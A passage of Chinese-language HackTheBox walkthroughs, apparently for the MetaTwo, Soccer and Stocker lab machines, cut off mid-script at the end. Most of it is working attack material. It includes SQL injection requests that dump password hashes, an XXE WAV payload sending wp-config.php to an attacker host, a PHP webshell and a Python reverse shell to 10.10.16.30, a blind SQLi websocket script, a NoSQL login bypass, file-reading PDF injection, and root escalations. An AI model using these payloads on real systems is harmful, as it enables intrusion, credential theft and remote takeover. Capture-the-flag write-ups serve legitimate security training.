curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=7ea553b73c&category_id=33&total_service=-7502) UNION ALL SELECT -2,-1,0,1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=0x626c6f67-- -'

blog库表名如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
wp_options
wp_term_taxonomy
wp_bookingpress_servicesmeta
wp_commentmeta
wp_users
wp_bookingpress_customers_meta
wp_bookingpress_settings
wp_bookingpress_appointment_bookings
wp_bookingpress_customize_settings
wp_bookingpress_debug_payment_log
wp_bookingpress_services
wp_termmeta
wp_links
wp_bookingpress_entries
wp_bookingpress_categories
wp_bookingpress_customers
wp_bookingpress_notifications
wp_usermeta
wp_terms
wp_bookingpress_default_daysoff
wp_comments
wp_bookingpress_default_workhours
wp_postmeta
wp_bookingpress_form_fields
wp_bookingpress_payment_logs
wp_posts
wp_term_relationships

查列

1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=7ea553b73c&category_id=33&total_service=-7502) UNION ALL SELECT -2,-1,0,1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=0x626c6f67 and table_name=0x77705f7573657273-- -'

blog库wp_users表列名如下

1
2
3
4
5
6
7
8
9
10
ID
user_login
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name

查账户信息

1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=7ea553b73c&category_id=33&total_service=-7502) UNION ALL SELECT -2,-1,0,1,2,3,4,group_concat(user_login),group_concat(user_pass) from blog.wp_users-- -'

用户名与密码如下

1
2
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

读出来的json里面,"/"会被转义为"\/"

hashcat爆破

1
2
echo -e '$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.\n$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70' > hash
hashcat -m 400 ./hash /usr/share/wordlist/rockyou.txt

得到manager的账户信息

1
manager:partylikearockstar

根据之前wpscan的结果,可以找到wordpress 5.6.2 XXE漏洞

https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
https://www.sonarsource.com/blog/wordpress-xxe-security-vulnerability/
https://github.com/motikan2010/CVE-2021-29447

这个漏洞需要认证,即用户登陆状态才能出发

构造wav文件

1
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.*.*/xxe.dtd'"'"'>%remote;%param1;%exfil;] >\x00'> malicious.wav

构造xxe.dtd文件

1
2
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % param1 "<!ENTITY &#37; exfil SYSTEM 'http://10.10.*.*/?%data;'>">

媒体库中上传wav文件即可出发XXE漏洞

得到FTP账户信息

1
metapress.htb:9NYS_ii@FyL_p5M2NvJ

登录FTP并获取文件

1
2
3
4
5
ftp 10.10.11.186
metapress.htb
9NYS_ii@FyL_p5M2NvJ
cd mailer
get send_email.php

得到以下账户信息

1
jnelson@metapress.htb:Cb4_JmWM8zUZWMu@Ys

尝试用于登录SSH

1
2
ssh jnelson@10.10.11.186
Cb4_JmWM8zUZWMu@Ys

登陆成功

获取user.txt

1
2
cat /home/jnelson/user.txt 
1d67d6f8d41d206a8fb29e4570a4b6e2

权限提升

1
cat /home/jnelson/password 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
1
2
su root
p7qfAZt4_A1xo_0x
1
2
cat /root/root.txt 
686e0b48d30c2092e9ecc70f97a0086f

Easiest privilege escalation ever.


HackTheBox_Soccer

信息收集

端口扫描

1
nmap -Pn -sV -T5 -v 10.10.11.194
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Nmap scan report for 10.10.11.194
Host is up (0.52s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.70%I=7%D=3/5%Time=640459F7%P=x86_64-pc-linux-gnu%r(inf
SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\
SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2
SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n
SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon
SF:tent-Length:\x20139\r\nDate:\x20Sun,\x2005\x20Mar\x202023\x2008:52:25\x
SF:20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=
SF:\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</h
SF:ead>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HTT
SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli
SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r
SF:\nDate:\x20Sun,\x2005\x20Mar\x202023\x2008:52:25\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<met
SF:a\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Ca
SF:nnot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HTT
SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t
SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sun,\x
SF:2005\x20Mar\x202023\x2008:52:26\x20GMT\r\nConnection:\x20close\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"ut
SF:f-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\x
SF:20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti
SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

路径枚举

请求WEB页面

1
curl -I 10.10.11.194
1
2
3
4
5
6
7
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 05 Mar 2023 08:54:10 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://soccer.htb/

跳转至域名soccer.htb

添加域名解析

1
echo -e '10.10.11.194\tsoccer.htb' >> /etc/hosts

枚举路径

1
dirb http://soccer.htb/ /usr/share/wordlists/SecLists-master/Discovery/Web-Content/SVNDigger/all-dirs.txt -w
1
==> DIRECTORY: http://soccer.htb/tiny/

https://github.com/danielmiessler/SecLists

漏洞利用

访问页面http://soccer.htb/tiny/

源代码中存在以下内容

1
<a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="2.4.3">CCP Programmers</a>

即版本为2.4.3

相关EXP

https://github.com/febinrev/tinyfilemanager-2.4.3-exploit/blob/main/tiny_file_manager_exploit.py

适当修改脚本后运行

1
2
datas={"p":"tiny/uploads", "fullpath":"/BFL/BFL.php"}
files={"file":("exp.php","<?php system($_REQUEST['BFL']); ?>","application/x-php")}

监听端口

1
nc -lvnp 9998

反弹Shell

1
curl 'http://soccer.htb/tiny/uploads/BFL/BFL.php?BFL=python3%20-c%20%22import%20os%2Csocket%2Csubprocess%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2710.10.16.30%27%2C9998%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3Bos.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%27/bin/bash%27%2C%27-i%27%5D%29%3B%22'

获取TTY

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

查看WEB站点配置信息

1
cat /etc/nginx/sites-enabled/default.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
server {
listen 80;
listen [::]:80;
server_name 0.0.0.0;
return 301 http://soccer.htb$request_uri;
}

server {
listen 80;
listen [::]:80;

server_name soccer.htb;

root /var/www/html;
index index.html tinyfilemanager.php;

location / {
try_files $uri $uri/ =404;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}

location ~ /\.ht {
deny all;
}

}
1
cat /etc/nginx/sites-enabled/soc-player.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
server {
listen 80;
listen [::]:80;

server_name soc-player.soccer.htb;

root /root/app/views;

location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}

}

得到新域名soc-player.soccer.htb

添加域名解析

1
echo -e "10.10.11.194\tsoc-player.soccer.htb" >> /etc/hosts

访问域名soc-player.soccer.htb

进行注册,登录

源代码中存在以下js脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {

var btn = document.getElementById('btn');
var input = document.getElementById('id');

ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});

function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}

function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}

ws.onmessage = function (e) {
append(e.data)
}

function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}

本地console进行测试

1
2
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
ws.onmessage = function (e) {console.log(e.data)}
1
2
ws.send(JSON.stringify({"id": "0"}));
Ticket Doesn't Exist
1
2
ws.send(JSON.stringify({"id": "0 or 1"}));
Ticket Exists

存在SQL注入漏洞

二分法布尔注入

pip install websocket-client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import websocket
import json

def on_message(ws, message):
global result
result = message # handle the received message here
ws.close()

def on_error(ws, error):
print(error)

def on_close(ws):
print("Closed connection")

def on_open(ws):
global send_data
ws.send(json.dumps(send_data))

def run():
websocket.enableTrace(False) # enable trace for debugging purposes
ws = websocket.WebSocketApp("ws://soc-player.soccer.htb:9091",
on_message=on_message,
on_error=on_error,
on_close=on_close)
ws.on_open = on_open
ws.run_forever()


def version():
pos = 1
response = ""
while True:
bot = 0
top = 128
mid = (bot + top) // 2
while(bot < top):
global send_data
send_data = {"id": "59654 or ord(substr(@@version,%d,1))>%d" % (pos, mid)}
print(send_data)
run()
if result == "Ticket Exists":
bot = mid + 1
else:
top = mid
mid = (bot + top) // 2
if(mid == 0 or mid == 127):
break
pos += 1
response = response + chr(mid)
print(response)
if mid == 0:
break
version()

得到版本信息如下

1
8.0.31-0ubuntu0.20.04.2

查询用户信息

1
send_data = {"id": "59654 or ord(substr((select user()),%d,1))>%d" % (pos, mid)}

用户信息如下

1
player@localhost

查询库名

1
send_data = {"id": "59654 or ord(substr((select group_concat(schema_name) from information_schema.schemata),%d,1))>%d" % (pos, mid)}

库名如下

1
mysql,information_schema,performance_scqema,sys,soccer_db

查询user表

1
send_data = {"id": "59654 or ord(substr((select group_concat(user, ':' ,password) from mysql.user),%d,1))>%d" % (pos, mid)}

user表如下

1
debian-sys-maint:PlayerOftheMatch2022,mysql.infoschema:PlayerOftheMatch2022,mysql.session:PlayerOftheMatch2022,mysql.sys:PlayerOftheMatch2022,player:PlayerOftheMatch2022,root:PlayerOftheMatch2022

SSH登入

1
2
ssh player@10.10.11.194
PlayerOftheMatch2022

查看user.txt

1
cat /home/player/user.txt
1
71661caf8fd27d4777ef94f5ae4cfea5

权限提升

查询SUID文件

1
find / -user root -perm -4000 -print 2>/dev/null
1
/usr/local/bin/doas

查看doas配置信息

1
2
cat /usr/local/etc/doas.conf 
permit nopass player as root cmd /usr/bin/dstat

/usr/local/bin/doas, /usr/local/bin/vidoas
这两个程序都能给出配置信息的路径,前者需要IDA简略分析,后者运行即可得知

There are some alternatives to the sudo binary such as doas for OpenBSD, remember to check its configuration at /etc/doas.conf – https://0x1.gitlab.io/exploit/Linux-Privilege-Escalation/

意思就是把这个doas当成sudo来处理

添加dstat配置文件并调用即可提权

1
2
echo 'import os; os.execv("/bin/sh", ["sh"])' > /usr/local/share/dstat/dstat_BFL.py
/usr/local/bin/doas -u root /usr/bin/dstat --BFL

查看root.txt

1
cat /root/root.txt
1
53d6af62fd48af558d4bd82282e5c668

错误方法,正确答案

当时查出来的user表看着很怪,但是还是能登入player账户(获取WebShell之后可以看/etc/passwd或者/home/得知player用户的存在),就没去看soccer_db了

1
2
select user, password from mysql.user;
ERROR 1054 (42S22): Unknown column 'password' in 'field list'
1
2
3
cat /root/app/server.js
...
const query = `Select id,username,password FROM accounts where id = ${id}`;
1
2
3
4
5
6
select * from soccer_db.accounts;
+------+-------------------+----------+----------------------+
| id | email | username | password |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+
1
2
3
4
5
6
7
8
9
10
11
select user from mysql.user;
+------------------+
| user |
+------------------+
| debian-sys-maint |
| mysql.infoschema |
| mysql.session |
| mysql.sys |
| player |
| root |
+------------------+

HackTheBox_Stocker

信息收集

端口扫描

1
nmap -Pn -sV -T5 -v 10.10.11.196
1
2
3
4
5
6
7
Nmap scan report for 10.10.11.196
Host is up (1.7s latency).
Not shown: 528 closed ports, 470 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

路径枚举

1
curl -I http://10.10.11.196/
1
2
3
4
5
6
7
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 07 Mar 2023 11:42:59 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://stocker.htb

跳转至域名stocker.htb

添加域名解析

1
echo -e "10.10.11.196\tstocker.htb" >> /etc/hosts

枚举路径未得到有效信息

VHOST

生成VHOST列表

1
2
3
4
5
6
# vhost.py
file = open("/usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt")
data = file.read().split()
file.close()
for _ in data:
print("10.10.11.196\t%s.stocker.htb" % _)

备份hosts文件并生成新hosts文件

1
2
mv /etc/hosts /etc/hosts.bak
python vhost.py > /etc/hosts

VHOST扫描程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# scan.py
import requests
import threading

file = open("/etc/hosts")
data_list = file.read().replace("10.10.11.196\t", "").split()
file.close()
req = requests.session()

global index
index = 0
def enum():
global index
while index < len(data_list):
tmp_vhost = data_list[index]
index += 1
print(index)
res = req.get("http://%s/" % tmp_vhost, allow_redirects=False)
if "Location" not in res.headers or res.headers["Location"] != "http://stocker.htb":
print(tmp_vhost)

threads = []
for _ in range(4):
t = threading.Thread(target=enum)
threads.append(t)
t.start()

for t in threads:
t.join()

扫描得到VHOST信息如下

1
dev.stocker.htb

还原hosts文件并添加hosts信息

1
2
3
rm /etc/hosts
mv /etc/hosts.bak /etc/hosts
echo -e "10.10.11.196\tdev.stocker.htb" > /etc/hosts

漏洞利用

访问dev.stocker.htb

https://book.hacktricks.xyz/pentesting-web/nosql-injection#blind-nosql

NoSQL注入绕过登录

1
curl dev.stocker.htb/login --json '{"username": {"$ne": null}, "password": {"$ne": null} }' -v
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
* Connected to dev.stocker.htb (154.38.66.218) port 80 (#0)
> POST /login HTTP/1.1
> Host: dev.stocker.htb
> User-Agent: curl/7.87.0
> Content-Type: application/json
> Accept: application/json
> Content-Length: 55
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Server: nginx/1.18.0 (Ubuntu)
< Date: Tue, 07 Mar 2023 14:16:51 GMT
< Content-Length: 0
< Connection: keep-alive
< X-Powered-By: Express
< Location: /stock
< Vary: Accept
< Set-Cookie: connect.sid=s%3AfJIaR20mVzvQQCGTeOLbI_uzbKaqBhDQ.1iY7jjKTmOGErnDSTPrCaAgRhmuV8m0NpczGe67RCfg; Path=/; HttpOnly
<
* Connection #0 to host dev.stocker.htb left intact

商品加入购物车并支付后生成订单PDF文件
下载后查看exif信息

1
exiftool 64074bcafc5e45f83e5036a5.pdf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ExifTool Version Number         : 12.49
File Name : 64074bcafc5e45f83e5036a5.pdf
Directory : .
File Size : 39 kB
File Modification Date/Time : 2023:03:07 09:36:19-05:00
File Access Date/Time : 2023:03:07 09:36:31-05:00
File Inode Change Date/Time : 2023:03:07 09:36:32-05:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Tagged PDF : Yes
Creator : Chromium
Producer : Skia/PDF m108
Create Date : 2023:03:07 14:36:05+00:00
Modify Date : 2023:03:07 14:36:05+00:00

Skia/PDF XSS to SSRF

https://www.triskelelabs.com/blog/extracting-your-aws-access-keys-through-a-pdf-file

修改订单信息如下

1
2
3
4
5
6
7
8
9
10
11
12
{
"basket":[{
"_id":"638f116eeb060210cbd83a8d",
"title":"<iframe style='width: 1000px;height: 1000px;' src=file:///etc/passwd> ",
"description":"It's a red cup.",
"image":"red-cup.jpg../../../../../../etc/passwd",
"price":-1,
"currentStock":4,
"__v":0,
"amount":1
}]
}

生成订单PDF文件即可触发SSRF漏洞并获取/etc/passwd信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:112:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

读取文件/etc/nginx/nginx.conf

1
2
3
4
5
6
7
8
9
10
11
12
{
"basket":[{
"_id":"638f116eeb060210cbd83a8d",
"title":"<iframe id='myFrame' style='width: 1000px; height: 1000px;' src='file:///etc/nginx/nginx.conf'></iframe><script>var frame = document.getElementById('myFrame');frame.onload = function () {var body = frame.contentWindow.document.querySelector('body');body.style.fontSize = '0.3rem';};</script>",
"description":"It's a red cup.",
"image":"red-cup.jpg../../../../../../etc/passwd",
"price":-1,
"currentStock":4,
"__v":0,
"amount":1
}]
}

文件/etc/nginx/nginx.conf内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
worker_connections 768;
# multi_accept on;
}

http {

##
# Basic Settings
##

sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;

# server_names_hash_bucket_size 64;
# server_name_in_redirect off;

include /etc/nginx/mime.types;
default_type application/octet-stream;

##
# SSL Settings
##

ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;

##
# Logging Settings
##

access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;

##
# Gzip Settings
##

gzip on;

# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

##
# Virtual Host Configs
##

include /etc/nginx/conf.d/*.conf;

server {
listen 80;

root /var/www/dev;
index index.html index.htm index.nginx-debian.html;

server_name dev.stocker.htb;

location / {
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_cache_bypass $http_upgrade;

proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Port $server_port;
}
}

server {
listen 80;

root /var/www/html;
index index.html index.htm index.nginx-debian.html;

server_name stocker.htb;

location / {
try_files $uri $uri/ =404;
}
}

server {
listen 80 default;

server_name _;

location / {
return 301 http://stocker.htb;
}
}

}

得知虚拟主机dev.stocker.htb文件根目录为/var/www/dev

尝试访问/var/www/dev/index.js, /var/www/dev/app.js, /var/www/dev/main.js

服务主文件路径为/var/www/dev/index.js
内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
const express = require("express");
const mongoose = require("mongoose");
const session = require("express-session");
const MongoStore = require("connect-mongo");
const path = require("path");
const fs = require("fs");
const { generatePDF, formatHTML } = require("./pdf.js");
const { randomBytes, createHash } = require("crypto");

const app = express();
const port = 3000;

// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(
session({
secret: randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: true,
store: MongoStore.create({
mongoUrl: dbURI,
}),
})
);
app.use("/static", express.static(__dirname + "/assets"));

app.get("/", (req, res) => {
return res.redirect("/login");
});

app.get("/api/products", async (req, res) => {
if (!req.session.user) return res.json([]);

const products = await mongoose.model("Product").find();
return res.json(products);
});

app.get("/login", (req, res) => {
if (req.session.user) return res.redirect("/stock");

return res.sendFile(__dirname + "/templates/login.html");
});

app.post("/login", async (req, res) => {
const { username, password } = req.body;

if (!username || !password) return res.redirect("/login?error=login-error");

// TODO: Implement hashing

const user = await mongoose.model("User").findOne({ username, password });

if (!user) return res.redirect("/login?error=login-error");

req.session.user = user.id;

console.log(req.session);

return res.redirect("/stock");
});

app.post("/api/order", async (req, res) => {
if (!req.session.user) return res.json({});

if (!req.body.basket) return res.json({ success: false });

const order = new mongoose.model("Order")({
items: req.body.basket.map((item) => ({ title: item.title, price: item.price, amount: item.amount })),
});
await order.save();

return res.json({ success: true, orderId: order._id });
});

app.get("/api/po/:id", async (req, res) => {
const order = await mongoose.model("Order").findById(req.params.id);

if (!order) return res.sendStatus(404);

const htmlPath = `${__dirname}/pos/${req.params.id}.html`;
const filePath = `${__dirname}/pos/${req.params.id}.pdf`;

if (fs.existsSync(filePath)) {
return res.sendFile(filePath);
}

fs.writeFileSync(htmlPath, formatHTML(order));

await generatePDF(req.params.id);

if (fs.existsSync(filePath)) {
return res.sendFile(filePath);
} else {
return res.sendStatus(500);
}
});

app.get("/stock", (req, res) => {
if (!req.session.user) return res.redirect("/login?error=auth-required");

return res.sendFile(__dirname + "/templates/index.html");
});

app.get("/logout", async (req, res) => {
req.session.user = "";
return res.redirect("/login");
});

app.listen(port, "127.0.0.1", async () => {
await mongoose.connect(dbURI);

// Setup Mongoose schema
require("./schema.js");
console.log(`Example app listening on port ${port}`);
});

得到登入密码IHeardPassphrasesArePrettySecure

尝试用于登入angoose账户

1
2
ssh angoose@10.10.11.196
IHeardPassphrasesArePrettySecure

登入成功
查看user.txt

1
cat /home/angoose/user.txt
1
c86f19c14d8ee6120dd3c01461b82764

权限提升

1
2
sudo -l
IHeardPassphrasesArePrettySecure
1
2
3
4
5
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
1
2
echo 'require("child_process").spawn("/bin/bash", ["-p"], {stdio: [0, 1, 2]})' > /tmp/BFL.js
sudo /usr/bin/node /usr/local/scripts/../../../tmp/BFL.js
1
cat /root/root.txt
1
afd487cd1a8b2f2b99d610424c24f39c

错误思路

1
2
3
curl dev.stocker.htb/login --json '{"username": {"$ne": "angoose"}, "password": {"$ne": null} }' -v
...
Location: /login?error=login-error
1
2
3
curl dev.stocker.htb/login --json '{"username": {"$eq": "angoose"}, "password": {"$ne": null} }' -v
...
Location: /stock
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string

req = requests.session()
url = "http://dev.stocker.htb/login"
password = ""
dic = string.printable
